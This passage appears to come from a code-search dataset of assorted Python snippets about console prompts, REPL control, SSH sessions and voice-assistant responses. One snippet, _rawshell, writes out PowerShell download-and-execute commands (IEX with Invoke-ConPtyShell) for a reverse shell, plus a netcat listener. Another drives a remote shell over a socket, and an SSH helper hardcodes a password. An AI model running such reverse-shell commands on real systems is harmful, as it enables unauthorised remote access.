\"):\n break\n\n lbuf = buf.splitlines()\n return lbuf[1:-1]","def result_stdout(result):\n return result[1][0]","def nyanword(message):\n try:\n print(c.clear)\n while True: \n print(c.rc() + \"Hello\" + c.rc() + \" \" + who + \"!\", end=\" \")\n except KeyboardInterrupt:\n exit()","def test_prompt_msg_confirm_blank_default_no(self):\n with mock.patch('__builtin__.raw_input', return_value=\"\") as mockinput:\n result = self.prompt._prompt(self.response, {\n \"say\": \"Continue\",\n \"ask\": \"result\",\n \"confirm\": False\n })\n\n args, kwargs = mockinput.call_args\n\n self.assertEquals(\"Continue [yN]? \", args[0])\n self.assertEquals(result['ansible_facts']['result'], False)","def test_sanitize_nothing():\n\n output = \"\"\"\nshow cdp neighbors\nCapability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge\n S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,\n D - Remote, C - CVTA, M - Two-port Mac Relay\n\nDevice ID Local Intrfce Holdtme Capability Platform Port ID\n\nTotal cdp entries displayed : 0\ncisco3#\"\"\"\n\n connection = FakeBaseConnection(\n RESPONSE_RETURN=\"\\n\",\n RETURN=\"\\n\",\n ansi_escape_codes=False,\n base_prompt=\"cisco3#\",\n )\n\n result = connection._sanitize_output(\n output,\n strip_command=False,\n command_string=\"show cdp neighbors\\n\",\n strip_prompt=False,\n )\n assert result == output","def invalid_command(response): # string -> interaction\r\n print(\"Sorry; '\" + response + \"' isn't a valid command. Please try again.\")","def stdout(self, stdout: str) -> Tuple[List[Message], List[AnnotateCode], str]:\n return [], [], stdout","def cmd(self, command):\n self.enode.get_shell('bash').send_command(command, matches=self.scapy_prompt)\n response = self.enode.get_shell('bash').get_response()\n return response","def enter_raw_repl(self):\n\n debug_indent(\"enter_raw_repl\")\n\n time.sleep(0.5) # allow some time for board to reset\n debug(r'self.con.write \"\\r\\x03\\x03\" (Ctrl-C twice)')\n self.con.write(b\"\\r\\x03\\x03\") # ctrl-C twice: interrupt any running program\n\n # flush input (without relying on serial.flushInput())\n n = self.con.inWaiting()\n while n > 0:\n self.con.read(n)\n n = self.con.inWaiting()\n\n if self.con.survives_soft_reset():\n debug(r'self.con.write \"\\r\\x01\" (enter raw REPL)')\n self.con.write(b\"\\r\\x01\") # ctrl-A: enter raw REPL\n data = self.read_until(1, b\"raw REPL; CTRL-B to exit\\r\\n>\", timeout=10)\n\n if not data.endswith(b\"raw REPL; CTRL-B to exit\\r\\n>\"):\n print(data)\n debug_unindent()\n raise PyboardError(\"could not enter raw repl 1\")\n\n debug(r'self.con.write \"\\x04\" (soft reset)')\n self.con.write(b\"\\x04\") # ctrl-D: soft reset\n data = self.read_until(1, b\"soft reboot\\r\\n\", timeout=10)\n if not data.endswith(b\"soft reboot\\r\\n\"):\n print(data)\n debug_unindent()\n raise PyboardError(\"could not enter raw repl 2\")\n\n # By splitting this into 2 reads, it allows boot.py to print stuff,\n # which will show up after the soft reboot and before the raw REPL.\n data = self.read_until(1, b\"raw REPL; CTRL-B to exit\\r\\n\", timeout=10)\n if not data.endswith(b\"raw REPL; CTRL-B to exit\\r\\n\"):\n print(data)\n debug_unindent()\n raise PyboardError(\"could not enter raw repl 3\")\n\n else:\n\n debug(r'self.con.write \"\\r\\x01\" (enter raw REPL)')\n self.con.write(b\"\\r\\x01\") # ctrl-A: enter raw REPL\n data = self.read_until(0, b\"raw REPL; CTRL-B to exit\\r\\n\", timeout=10)\n\n if not data.endswith(b\"raw REPL; CTRL-B to exit\\r\\n\"):\n print(data)\n debug_unindent()\n raise PyboardError(\"could not enter raw repl 4\")\n debug_unindent()","def interactive(self, handle_message=None, context=None):\n if context is None:\n context = {}\n\n history = InMemoryHistory()\n while True:\n try:\n message = prompt(INTERACTIVE_PROMPT, history=history, mouse_support=True).rstrip()\n except (KeyboardInterrupt, EOFError):\n return\n if handle_message is None:\n print(self.message(message, context))\n else:\n print(handle_message(self.message(message, context)))","def _postConnect(self):\n p = self.spawnProc\n msg = \"SessionManager._postConnect: failed to get prompt\"\n expList.append(self.prompt)\n match = p.expect(expList, self.sshTimeout)\n self._postCheck(match,msg,True)","def get_switch_details_from_console(self):\n ret_output = {}\n #Get the console port\n console = self.telnet_console_port()\n console.sendline('terminal length 0')\n console.expect(SWITCH_PROMPT)\n console.sendline('show inventory | xml')\n console.expect(SWITCH_PROMPT)\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \n ret_output['inv'] = console.before\n console.sendline('show system uptime | xml')\n console.expect(SWITCH_PROMPT)\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \n ret_output['uptime'] = console.before\n console.sendline('show accounting log | grep \"configure\" | last 1')\n console.expect(SWITCH_PROMPT,120)\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \n ret_output['idletime'] = console.before\n console.sendline('terminal length 15')\n console.expect(SWITCH_PROMPT)\n console.sendline('show clock | last 1')\n console.expect(SWITCH_PROMPT)\n if any(i in console.before for i in INVALID_CLI): raise InvalidCliError('show cmd failure') \n ret_output['clock'] = console.before\n console.close()\n return ret_output","def read_stdout(self, dt):\n\n self.temp_stdout += self.temp_output\n self.ids[\"txt_code_output\"].text = self.temp_output","def get_output(self):\n\n num, in_text = self.get_input()\n\n if not in_text:\n self.current_prompt.freeze(in_text=\"\", show_output=False)\n # Makes the prompt un-editable.\n self.current_prompt = self.iogrid.add_prompt(number=-1)\n else:\n output = self.execute_query(num, in_text)\n self.current_prompt.freeze(in_text=in_text, output=output)\n self.current_prompt = self.iogrid.add_prompt()","def test_unkown_command(self):\n with patch('sys.stdout', new=StringIO()) as f:\n HBNBCommand().onecmd(\"something\")\n self.assertEqual(f.getvalue().strip(),\n \"*** Unknown syntax: something\")","def Prompt(self):\n self.cli.context_was_set = not self.cli.config.context\n doc = self.cli.run()\n return doc.text if doc else None","def ask(self):\n subprocess.run([\"say\", \"-v\", \"Kyoko\", str(self.answer)])","def hook() -> None:\n real_recv = process.recv_raw\n\n def recv(self: process, numb: int) -> bytes:\n data = real_recv(self, numb)\n # Sometimes the returned data is of type str\n # Accept them by converting them to bytes\n if type(data) == str:\n data = data.encode()\n try:\n stdout_all = self.stdout_all\n except Exception: # pylint: disable=broad-except\n stdout_all = b\"\"\n stdout_all += data\n self.stdout_all = stdout_all\n return data\n\n process.recv_raw = recv","def unexpected_response():\n return say(UNEXPECTED_ANSWER_SPEECH)","def prompt():\n sys.stdout.write('>> ')\n sys.stdout.flush()","def response_ssml_text_and_prompt(output, endsession, reprompt_text):\n\n return {\n 'outputSpeech': {\n 'type': 'SSML',\n 'ssml': \"<speak>\" +output +\"</speak>\" \n },\n 'reprompt': {\n 'outputSpeech': {\n 'type': 'SSML',\n 'ssml': \"<speak>\" +reprompt_text +\"</speak>\"\n }\n },\n 'shouldEndSession': endsession\n }","def head_plain():\n print (hair_buzz())\n print (eye_narrow())\n print (nose_triangle())\n print (mouth_smile())\n print (chin_plain())","def _sendAndTrim(self, command, delim=None):\n assertTimeout = int (globalVar.assertTimeout)\n p = self.spawnProc\n p.sendline(command)\n a=p.readline()\n #print a\n\tif (not delim):\n\t prompt = self.prompt\n\telse:\n\t prompt = delim\n\n expList.append(prompt) \n \n result = p.expect(expList,assertTimeout)\n\n if (result != 2) :\n self._postCheck(result)\n # at this point, we have the output but also the command and\n # part of the prompt. get rid of the prompt chunk.\n if (not delim):\n\t promptChunk = self.promptChunk\n\telse:\n\t promptChunk = delim\n\n output = re.sub(promptChunk, '', p.before)\n output = re.sub(command+'\\r\\n', '', output)\n return output","def input(self, prompt):\r\n return console_input(prompt)","def test_prompt_msg_postfix_custom(self):\n with mock.patch('__builtin__.raw_input', return_value=\"\") as mockinput:\n result = self.prompt._prompt(self.response, {\n \"say\": \"First Name\",\n \"ask\": \"first_name\",\n \"default\": \"foobar\",\n \"postfix\": \"!?!?\"\n })\n\n args, kwargs = mockinput.call_args\n\n self.assertEquals(\"First Name [foobar]!?!? \", args[0])\n self.assertEquals(result['ansible_facts']['first_name'], 'foobar')","def exit_raw_repl(self):\n debug(r'self.con.write \"\\r\\x02\" (ctrl-B: enter friendly REPL)')\n self.con.write(b\"\\r\\x02\") # ctrl-B: enter friendly REPL","def _postConnect(self):\n\n #timeout = 5\n p = self.spawnProc\n list = [self.prompt,\"ssh:\", \"[Pp]assword: \", \"\\? \", \n\n\t \"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\", \n pexpect.EOF,pexpect.TIMEOUT]\n \n match = p.expect(list,self.sshTimeout )\n #prompt\n if (match == list.index(self.prompt)) : \n # got a prompt, want to save the prompt chunk so we can use\n # it later to trim command output. do this by sending a\n # \\r and cultivating the bare prompt.\n p.sendline(\"\")\n p.expect(self.prompt)\n self._extractPChunk(p.before)\n\t # ssh error message\n elif (match == list.index(\"ssh:\")): \n # TODO: send the ssh error text in the exception\n msg = \"Error occured while executing ssh command \"\n raise SessionManagerException,msg\n\t # passwd prompt\n elif match == 2: \n \n\t msg = \"ssh command got 'Password:' prompt,\"\n p.sendline(\"shipped!!\")\n\t try:\n p.expect(self.prompt,self.sshTimeout)\n self._extractPChunk(p.before)\n\t except pexpect.TIMEOUT:\n print msg\n raise SessionManagerException,msg\n # connect confirmation prompt\n elif match == 3: \n p.sendline(\"yes\")\n p.expect(list[2])\n p.sendline(\"shipped!!\")\n\t try:\n p.expect(self.prompt,self.sshTimeout)\n self._extractPChunk(p.before)\n\t except pexpect.TIMEOUT:\n msg = \"ssh login confirmation problem\"\n msg = msg + \" Key exchange not successful \"\n\t\tprint msg\n raise SessionManagerException,msg\n\n self._extractPChunk(p.before)\n\t\n # Remote host identification change \n elif match == 4: \n msg = \"Remote host identification change: check ~/.ssh/known_hosts file\"\n raise SessionManagerException, msg\n # Unexpected Prompt while trying to connect \n elif match == 5: \n msg = \"ssh got unexpected prompt, did not establish connection\"\n raise SessionManagerException, msg\n \n # Timeout Error \n elif (match == list.index(pexpect.TIMEOUT)):\n msg = 'ssh to %s timed out' % self.args\n raise SessionManagerException, msg","def test_prompt_msg_confirm_blank_default_yes(self):\n with mock.patch('__builtin__.raw_input', return_value=\"\") as mockinput:\n result = self.prompt._prompt(self.response, {\n \"say\": \"Continue\",\n \"ask\": \"result\",\n \"confirm\": True\n })\n\n args, kwargs = mockinput.call_args\n\n self.assertEquals(\"Continue [Yn]? \", args[0])\n self.assertEquals(result['ansible_facts']['result'], True)","def _rawshell(args):\n rows, cols = util.term_rows_cols()\n file = Config.V0_POWERSHELL_CONPTY()\n # Random port for temporary serv\n port = util.randport()\n psurl = httpserv.powershell_serv(args.address, str(port), file)\n pscmd = f\"IEX({psurl}); Invoke-ConPtyShell -RemoteIp {args.address} -RemotePort {args.port} -Rows {rows} -Cols {cols}\"\n remote_commands = [\n f\"powershell -nop -c {pscmd}\",\n f\"powershell -nop -e {powershell_base64_encode(pscmd)}\",\n ]\n lcmd = f\"stty raw -echo; (stty size; cat) | nc -lvnp {args.port}\"\n _print_remote(remote_commands)\n _print_local(lcmd)\n # small delay to allow the above stuff to finish before the raw terminal\n # makes stuff look wonky\n time.sleep(2)\n os.system(lcmd)\n # Reset the tty\n os.system(\"stty sane\")","def test_prompt_msg_defaults(self):\n with mock.patch('__builtin__.raw_input', return_value=\"\") as mockinput:\n result = self.prompt._prompt(self.response, {\n \"say\": \"First Name\",\n \"ask\": \"first_name\",\n \"default\": \"foobar\"\n })\n\n args, kwargs = mockinput.call_args\n\n self.assertEquals(\"First Name [foobar]? \", args[0])\n self.assertEquals(result['ansible_facts']['first_name'], 'foobar')","def put_prompt(self, session):\n self.reply_text(session, self._prompt, False)","def do_prompt(self, line):\n self.prompt = line + ': '","def suicide_reply():\n return random.choice(SUICIDE_RESPONSE)","def print_message_nicely(message):\n print (\"\\n\\r\" + \"*\"*10 + \"\\n\" +\n \"\\rsender: \" + message[\"handle\"] + \"\\n\" +\n \"\\rmessage: \" + message[\"text\"] + \"\\n\\r\" +\n \"*\"*10 + \"\\n\")","def build_speechlet_response(title, output, reprompt_text, should_end_session):\n return {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': output\n },\n 'card': {\n 'type': 'Simple',\n 'title': CardTitlePrefix + \" - \" + title,\n 'content': output\n },\n 'reprompt': {\n 'outputSpeech': {\n 'type': 'PlainText',\n 'text': reprompt_text\n }\n },\n 'shouldEndSession': should_end_session\n }","async def _wait_response(self, cmd, prompt_re):\n self.logger.debug(\"Waiting for prompt\")\n resp = await self.wait_prompt(prompt_re)\n return resp","def test_prompt_msg_shows_default(self):\n with mock.patch('__builtin__.raw_input', return_value=\"Andrew\") as mockinput:\n result = self.prompt._prompt(self.response, {\n \"say\": \"First Name\",\n \"ask\": \"first_name\",\n \"default\": \"foobar\"\n })\n\n args, kwargs = mockinput.call_args\n\n self.assertEquals(\"First Name [foobar]? \", args[0])\n self.assertEquals(result['ansible_facts']['first_name'], 'Andrew')","def prompt(self):\r\n prompt_css = \"section.open-ended-child>div.prompt\"\r\n prompts = self.q(css=prompt_css).map(lambda el: el.get_attribute('innerHTML').strip()).results\r\n\r\n if len(prompts) == 0:\r\n self.warning(\"Could not find essay prompt on page.\")\r\n return \"\"\r\n\r\n elif len(prompts) > 1:\r\n self.warning(\"Multiple essay prompts found on page; using the first one.\")\r\n\r\n return prompts[0]","def test_prompt_msg_noask_postfix_fails(self):\n self.expected['failed'] = True\n self.expected['msg'] = \"Unexpected 'postfix' in non-question prompt.\"\n\n self.assertEquals(\n self.prompt._prompt(self.response, {\n \"say\": \"Hello World\",\n \"postfix\": \"foobar\"\n }),\n self.expected\n )","def get_help_response():\n\n session_attributes = {}\n card_title = \"乱数のある生活\"\n speech_output = \"あなたのほしい乱数を生成します。\" \\\n \"3つの選択肢から1つを選んでほしい時は，「3つのうちから一つ選んで」と話しかけてみてください。\" \\\n \"サイコロやルーレットを振りたい時は，「サイコロを1回振って」などと話しかけてみてください。\" \\\n \"「もう一度」と話しかけると一つ前と同じ条件で新しい乱数を生成します。\" \\\n\n # If the user either does not reply to the welcome message or says something\n # that is not understood, they will be prompted again with this text.\n # reprompt_text = speech_output\n reprompt_text = \"\"\n\n should_end_session = False\n return build_response(session_attributes, build_speechlet_response(\n card_title, speech_output, reprompt_text, should_end_session))","def get_welcome_response():\n\tsession_attributes = {}\n\tcard_title = \"Chromecast\"\n\tspeech_output = \"I can control your Chromecast, \" \\\n\t\t\t\t\t\"Tell me a video name, or to pause, resume, or turn the volume to numbers 1 through 100\"\n\treprompt_text = \"Please tell me a video name to look up, or say a command.\"\n\tshould_end_session = False\n\treturn build_response(session_attributes, build_speechlet_response(\n\t\tcard_title, speech_output, reprompt_text, should_end_session))","def do_command(command):\n send_command(command)\n response = get_response()\n print(\"Rcvd: <<< \\n\" + response)\n return response","async def _set_base_prompt(self):\n logger.info(\"Host {}: Setting base prompt\".format(self._host))\n prompt = await self._find_prompt()\n context = 'system'\n # Cut off prompt from \"prompt/context\"\n if '/' in prompt:\n prompt, context = prompt[:-1].split('/')\n else:\n prompt = prompt[:-1]\n self._base_prompt = prompt\n self._current_context = context\n delimeter1 = self._get_default_command('delimeter1')\n delimeter2 = self._get_default_command('delimeter2')\n self._base_pattern = r\"{}.*(\\/\\w+)?(\\(.*?\\))?[{}|{}]\".format(re.escape(self._base_prompt[:12]),\n re.escape(delimeter1), re.escape(delimeter2))\n logger.debug(\"Host {}: Base Prompt: {}\".format(self._host, self._base_prompt))\n logger.debug(\"Host {}: Base Pattern: {}\".format(self._host, self._base_pattern))\n logger.debug(\"Host {}: Current Context: {}\".format(self._host, self._current_context))\n return self._base_prompt","def _get_prompt_text(self):\n return Blinking_Text(\n self,\n self.settings.font_light_filename,\n 48,\n self.settings.font_color,\n 'Press Enter',\n {'center': self.screen_rect.center},\n 0,\n 50,\n )","def get_welcome_response():\n\n session_attributes = {}\n card_title = \"<YOUR WELCOME CARD TITLE HERE>\"\n speech_output = \"<YOUR WELCOME MESSAGE HERE>\"\n # If the user either does not reply to the welcome message or says something\n # that is not understood, they will be prompted again with this text.\n reprompt_text = \"<YOUR REPROMPT TEXT HERE>\"\n should_end_session = False\n return build_response(session_attributes, build_speechlet_response(\n card_title, speech_output, reprompt_text, should_end_session))","def prompt():\r\n\tglobal mhp\r\n\tglobal php\r\n\tglobal pen\r\n\tglobal fo\r\n\tglobal men\r\n\tprint \"Socanda %dHP-%dEn, %s %dHP-%dEn\" % (php, pen, fo, mhp, men)","def _wrap_prompt_process_response(\n func: Callable[[PromptBase[PromptType], str], PromptType]\n ) -> Callable[[PromptBase[PromptType], str], PromptType]:\n\n @override # type: ignore[misc]\n @wraps(func)\n def process_response(prompt: PromptBase[PromptType], value: str) -> PromptType:\n return_value: PromptType = func(prompt, value)\n\n if return_value == \"help\":\n LOGGER.debug(\"User requested help.\")\n raise InvalidResponse(\n \"[yellow]A conflict between an existing (left) and newly added entry (right) \"\n \"occurred. These are your options:\\n\"\n \" 'keep' the existing entry and discard the new addition (default)\\n\"\n \" 'replace' the existing entry with the new one\\n\"\n \" 'update' the existing entry with the new data\\n\"\n \" 'disambiguate' the new entry from the existing one by adding a label suffix\"\n )\n\n return return_value\n\n return process_response","def _send_command_postprocess(output):\n return \"\\n\".join(filter(len, output.split('\\n')))","def print_response(response):\n print(response)\n print(\"-\"*30)","def get_welcome_response(): \r\n extronSend('Welcome'.encode())\r\n session_attributes = {}\r\n card_title = \"Welcome\"\r\n speech_output = \"Welcome to the extron control System!\"\r\n # If the user either does not reply to the welcome message or says something\r\n # that is not understood, they will be prompted again with this text.\r\n reprompt_text = \" \"\r\n should_end_session = False\r\n \r\n return build_response(session_attributes, build_speechlet_response(\r\n card_title, speech_output, reprompt_text, should_end_session))","def interact(self):\n print('Ready to interact on socket connected with {}.'.format(self.remote_addr))\n try:\n # get initial input from user\n print('Enter input or press CTRL-D for no input.')\n data = sys.stdin.readline()\n self.remote_socket.sendall(data.encode())\n while True:\n if data.startswith('exit'):\n print('[*] Closing remote shell.')\n self.close()\n break\n # wait for response from target host\n recv_len = 1\n response = ''\n while recv_len:\n data = self.remote_socket.recv(4096)\n recv_len = len(data)\n response += data.decode()\n if recv_len < 4096:\n break\n print(response)\n # get further input from user\n print('Enter further input or press CTRL-D for no input.')\n data = sys.stdin.readline()\n self.remote_socket.sendall(data.encode())\n except Exception as e:\n print(e)\n print('[*] Closing remote shell.')\n self.close()","def _format_output(self, cmd, resp):\n cmd_words = cmd.split()\n\n # Fixup the white spaces first, as some devices are inserting backspace\n # characters in the command echo\n cmd_output = self._fixup_whitespace(resp.data)\n\n # Command regex in the output\n # [SPACE]{Command string}[SPACE]\n # The words in the command string can be separated by mulitple spaces.\n # for e.g regex for matching 'show version' command would be\n # b'^\\s*show\\s+version\\s*$'\n # We also need to escape the words to handle characters like '|'\n cmd_words_esc = (re.escape(w) for w in cmd_words)\n cmd_re = br\"^\\s*\" + br\"\\s+\".join(cmd_words_esc) + br\"([ \\t]*\\n)*\"\n\n # Now replace the 'command string' in the output with a sanitized\n # version (redundant spaces removed)\n # ' show version ' ==> 'show version'\n cmd_output = re.sub(cmd_re, b\" \".join(cmd_words) + b\"\\n\", cmd_output, 1, re.M)\n\n # Now we need to prepend the prompt to the command output. The prompt is\n # the matched part in the 'resp'\n output = resp.matched.strip() + b\" \" + cmd_output\n\n return output","def ask(self, message):\n\n self.write(message)\n\n if self.multi_command is None:\n return self.read()\n else:\n self.responses_expected += 1","def raw_input(self, prompt=''):\n self.new_prompt(prompt)\n self._input_state = 'raw_input'\n if hasattr(self, '_cursor'):\n del self._cursor\n self.SetCursor(wx.StockCursor(wx.CURSOR_CROSS))\n self.__old_on_enter = self._on_enter\n event_loop = wx.EventLoop()\n def my_on_enter():\n event_loop.Exit()\n self._on_enter = my_on_enter\n # XXX: Running a separate event_loop. Ugly.\n event_loop.Run()\n self._on_enter = self.__old_on_enter\n self._input_state = 'buffering'\n self._cursor = wx.BusyCursor()\n return self.input_buffer.rstrip('\\n')","def interact(self, prompt='debug> '):\r\n msg = 'Entering Octave Debug Prompt...\\n%s' % prompt\r\n self.stdout.write(msg)\r\n while 1:\r\n inp_func = input if not PY2 else raw_input\r\n try:\r\n inp = inp_func() + '\\n'\r\n except EOFError:\r\n return\r\n if inp in ['exit\\n', 'quit\\n', 'dbcont\\n', 'dbquit\\n']:\r\n inp = 'return\\n'\r\n self.write('disp(char(3));' + inp)\r\n if inp == 'return\\n':\r\n self.write('return\\n')\r\n self.write('clear _\\n')\r\n self.readline()\r\n self.readline()\r\n if not pty is None:\r\n self.readline()\r\n self.write('disp(char(3))\\n')\r\n return\r\n self.expect('\\x03')\r\n self.stdout.write(self.expect(prompt))","def prompt(self, prompt_text: str) -> str:\r\n try:\r\n if self.__use_standard_console:\r\n user_input = prompt(prompt_text,\r\n history=self.__history,\r\n auto_suggest=self.__auto_suggest,\r\n completer=self.__completer)\r\n else:\r\n user_input = self.__alt_prompt(prompt_text)\r\n except KeyboardInterrupt:\r\n return self.__ctrl_c_command\r\n return user_input","def visible_prompt(self):\n return strip_ansi(self.prompt)","def log_to_shell(index, qid_raw, condition_raw, output_raw, decoded_seqeunce):\n print(\"Sample index\", index)\n print(\"QID: \", qid_raw)\n print(\"CONDITION: \", condition_raw)\n print(\"OUTPUT: \", output_raw,'\\n')\n print(\"Predicted OUTPUT: \", decoded_seqeunce, '\\n\\n')","def do_echo(self, line):\n print line.replace('$out', self.last_output)","def run_cli(self, command=None):\n if command is None:\n return \"FAILURE\"\n\n conn_expect = self.get_expect_connection()\n expect = ['bytes*', '>']\n response = conn_expect.request(\"read_until_prompt\",\n command,\n expect,\n None)\n if response is 'FAILURE':\n return 'FAILURE'\n\n return response","def render_prompt(self) -> str:\n # pylint: disable=no-member\n return '{}render: '.format(self.prompt)","def fresh_stdout(self):\n if self._uuid is None:\n return \"\"\n resp = self._connection._post(\n get_url('task stdout', uuid=self._uuid))\n\n if resp.status_code == 404:\n raise MissingTaskException(resp.json()['message'])\n\n raise_on_error(resp)\n return resp.text","def get_welcome_response():\n\n session_attributes = {}\n card_title = \"Welcome\"\n speech_output = \"Welcome to WordBox. Ask for a synonym, an antonym, rhyme, definition, and more for a word by saying something like 'synonym for happy'. Hear all commands by saying 'all commands'.\"\n # If the user either does not reply to the welcome message or says something\n # that is not understood, they will be prompted again with this text.\n reprompt_text = \"Ask for a synonym, antonym, part of speech, rhyme, definition, syllables, frequency, or pronunciation!\"\n should_end_session = False\n return build_response(session_attributes, build_speechlet_response(card_title, speech_output, reprompt_text, should_end_session))","def stdout_read(self, timeout):\n chan = self._chan\n now = datetime.datetime.now()\n timeout_time = now + datetime.timedelta(seconds=timeout)\n output = \"\"\n while not _SHELL_PROMPT.search(output):\n rd, wr, err = select([chan], [], [], _SELECT_WAIT)\n if rd:\n data = chan.recv(_RECVSZ)\n output += data.decode()\n if datetime.datetime.now() > timeout_time:\n raise TimeoutError\n return output","def sendCmd(self, cmd, timeout=300, ignoreErrors=False,expected_param = \"]#\"):\n self.resetStream()\n\n cmd = cmd.strip()\n cmd = re.sub(r\"[\\r\\n\\t\\s]+\", \" \", cmd)\n try:\n available_data = self._session.read_nonblocking(size=1000, timeout=0.5) # Read all available output\n if re.search(\"logging out\", available_data, flags=re.I):\n logger.info(\"Logged out due to inactivity. Reconnecting..\")\n self.reconnect()\n except pexpect.TIMEOUT: pass\n\n self._session.sendline(cmd)\n\n self.last_output = \"\"\n while True:\n i = self._session.expect([self._prompt, pexpect.EOF, pexpect.TIMEOUT, \"logging out\", self.promptmore,expected_param], timeout=timeout)\n #print \"Value of i \" + str(i)\n if i == 0:\n # Prompt found\n self.last_match = self._session.match\n self.last_output += self._session.before\n break\n if i == 1:\n # EOF\n logger.error(\"Connection closed %s\" % self)\n raise ValueError(\"Connection Closed\")\n elif i == 2:\n # TIMEOUT\n logger.error(str(self._session))\n logger.error(\"Time Out\")\n raise ValueError(\"Time Out\")\n elif i == 3:\n logger.info(\"Logged out due to inactivity. Reconnecting..\")\n self.reconnect()\n self._session.sendline(cmd)\n continue\n elif i == 4:\n # More prompt. Send Space\n self.last_output += self._session.before\n self._session.send(\" \")\n continue\n elif i == 5:\n self.last_output = self._session.before\n break\n\n #logger.debug(\"Output Before Removing command: %s\" % self.last_output)\n #self.last_output = re.sub(\"(?m)\" + re.escape(cmd), \"\", self.last_output)\n #logger.debug(\"Output After Removing command: %s\" % self.last_output)\n\n #if not ignoreErrors and re.search(\"\\b:*(error|unable|failed|failure|unrecognized command):*\\b\", self.last_output, re.I):\n # logger.error(\"Error while executing command\")\n\n if cmd.startswith(\"hadoop\"):\n #logger.debug(\"Before removal: '%s'\" % self.last_output)\n self.last_output = re.sub(r\"(?m)^\\s*WARNING:.*$\", \"\", self.last_output)\n #logger.debug(\"After removal: '%s'\" % self.last_output)\n\n # Remove some special characters seen in new platforms (gingko onwards)\n #logger.debug(\"Output before removing special chars: %s\" % self.last_output)\n ret_val = remove_special(self.last_output)\n\n #logger.debug(\"Output after removing special chars: %s\" % ret_val)\n return ret_val.strip()","def _check_command(self, resp, prompt):\n for line in resp.split(NEWLINE):\n if line.startswith('?'):\n raise InstrumentProtocolException('error processing command (%r)', resp[1:])\n if line.startswith('*'): # response\n if not valid_response(line):\n raise InstrumentProtocolException('checksum failed (%r)', line)","def poutput(self, msg):\n if msg:\n self.stdout.write(msg)\n if msg[-1] != '\\n':\n self.stdout.write('\\n')"],"string":"[\n \"def get_prompt(self, timeout=30):\\n #self.tc.expect(self.tool_prompt, timeout=timeout)\\n #self.tf = self.tc.after.split()\\n #return {'status': int(self.tf[self.tool_status_index]), 'output': self.tc.before}\\n output = \\\"\\\"\\n # Loop until we receive the special spt prompt while in pipe mode.\\n while True:\\n line = self.tc.stdout.readline()\\n if re.search(self.tool_prompt, line):\\n self.tf = line.split()\\n break\\n elif not len(line):\\n # We've reached EOF or spt exited abnormally, usually a core dump!\\n raise RuntimeError\\n else:\\n output += line\\n #if self._debug:\\n # print('Response: {0}'.format(self.tf))\\n # print('Output: {0}'.format(output), end=None)\\n #import pdb; pdb.set_trace()\\n return {'status': int(self.tf[self.tool_status_index]), 'output': output}\",\n \"def prompt(self, question):\\n self.output(' ')\\n self.output(question)\\n self.output(self.parse_response(str(self.ui())))\",\n \"def speech_response_prompt(output, reprompt_text, endsession):\\n\\n return {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': output\\n },\\n 'reprompt': {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': reprompt_text\\n }\\n },\\n 'shouldEndSession': endsession\\n }\",\n \"def speech_response_prompt(output, reprompt_text, endsession):\\n\\n return {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': output\\n },\\n 'reprompt': {\\n 'outputSpeech': {\\n 'type': 'PlainText',\\n 'text': reprompt_text\\n }\\n },\\n 'shouldEndSession': endsession\\n }\",\n \"def pseudo_raw_input(self, prompt):\\n\\n # Deal with the vagaries of readline and ANSI escape codes\\n safe_prompt = self._surround_ansi_escapes(prompt)\\n\\n if self.use_rawinput:\\n try:\\n if sys.stdin.isatty():\\n line = sm.input(safe_prompt)\\n else:\\n line = sm.input()\\n if self.echo:\\n sys.stdout.write('{}{}\\\\n'.format(safe_prompt, line))\\n except EOFError:\\n line = 'eof'\\n else:\\n if self.stdin.isatty():\\n # on a tty, print the prompt first, then read the line\\n self.poutput(safe_prompt, end='')\\n self.stdout.flush()\\n line = self.stdin.readline()\\n if len(line) == 0:\\n line = 'eof'\\n else:\\n # we are reading from a pipe, read the line to see if there is\\n # anything there, if so, then decide whether to print the\\n # prompt or not\\n line = self.stdin.readline()\\n if len(line):\\n # we read something, output the prompt and the something\\n if self.echo:\\n self.poutput('{}{}'.format(safe_prompt, line))\\n else:\\n line = 'eof'\\n return line.strip()\",\n \"def exec_raw_no_follow(self, command) -> None:\\n\\n if isinstance(command, bytes):\\n command_bytes = command\\n else:\\n command_bytes = bytes(command.encode(\\\"utf-8\\\"))\\n\\n # check we have a prompt\\n data = self.read_until(1, b\\\">\\\")\\n if not data.endswith(b\\\">\\\"):\\n raise PyboardError(\\\"could not enter raw repl 5\\\")\\n\\n if self.use_raw_paste:\\n # Try to enter raw-paste mode.\\n self.con.write(b\\\"\\\\x05A\\\\x01\\\")\\n data = self.con.read(2)\\n if data == b\\\"R\\\\x00\\\":\\n # Device understood raw-paste command but doesn't support it.\\n pass\\n elif data == b\\\"R\\\\x01\\\":\\n # Device supports raw-paste mode, write out the command using this mode.\\n return self.raw_paste_write(command_bytes)\\n else:\\n # Device doesn't support raw-paste, fall back to normal raw REPL.\\n data = self.read_until(1, b\\\"w REPL; CTRL-B to exit\\\\r\\\\n>\\\")\\n if not data.endswith(b\\\"w REPL; CTRL-B to exit\\\\r\\\\n>\\\"):\\n print(data)\\n raise PyboardError(\\\"could not enter raw repl\\\")\\n # Don't try to use raw-paste mode again for this connection.\\n self.use_raw_paste = False\\n\\n # write string\\n debug(f'self.con.write \\\"{command_bytes}\\\"')\\n self.con.write(command_bytes)\\n\\n # Alternative for write string above, do it in chuncks of max 256 bytes.\\n # Write command using standard raw REPL, 256 bytes every 10ms.\\n # for i in range(0, len(command_bytes), 256):\\n # self.serial.write(command_bytes[i: min(i + 256, len(command_bytes))])\\n # time.sleep(0.01)\\n\\n # Terminate command\\n debug(r'self.con.write \\\"\\\\r\\\\x04\\\"')\\n self.con.write(b\\\"\\\\x04\\\")\\n\\n # check if we could exec command\\n data = self.read_until(2, b\\\"OK\\\", timeout=0.5)\\n if data != b\\\"OK\\\":\\n raise PyboardError(\\\"could not exec command (response: %r)\\\" % data)\",\n \"def prompt(self):\\n return input(self.message + \\\": \\\").strip()\",\n \"def 